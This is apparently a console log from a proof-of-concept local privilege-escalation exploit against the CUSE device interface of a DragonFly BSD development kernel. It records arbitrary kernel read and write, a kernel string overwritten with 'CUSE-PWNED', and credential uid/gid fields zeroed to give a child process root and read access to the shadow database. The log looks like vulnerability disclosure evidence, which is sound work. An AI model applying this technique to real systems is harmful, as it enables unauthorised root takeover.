[+] created /dev/cuse_poc0 (mode 0666)
[+] child (was uid 65534): open returned, getuid=0 geteuid=0
[+] *** CHILD IS uid 0 - privilege escalation complete ***
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
root-shell-ok
can read shadow db
[+] created /dev/cuse_poc0 (mode 0666)
[+] got command 1 (CUSE_CMD_OPEN=1) data_pointer=0x0 argument=0
[+] READ_DATA from kernel 0xffffffff81144960 -> "DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
    root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC
"
[+] ARBITRARY KERNEL READ confirmed (matches `sysctl kern.version')
[+] ARBITRARY KERNEL WRITE confirmed (readback "CUSE-PWNED .5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
    ")
[+]   check: `sysctl -n kern.version' now shows the patch
[+] sysctl kern.proc.pid.1204: kp_paddr = 0xfffff80089979a80
[+] child struct proc 0xfffff80089979a80 -> p_ucred = 0xfffff8008f8af900
[+] zeroed 6 uid/gid fields (cr_uid/cr_ruid/cr_svuid/cr_gid/...)
[*] done
RC=0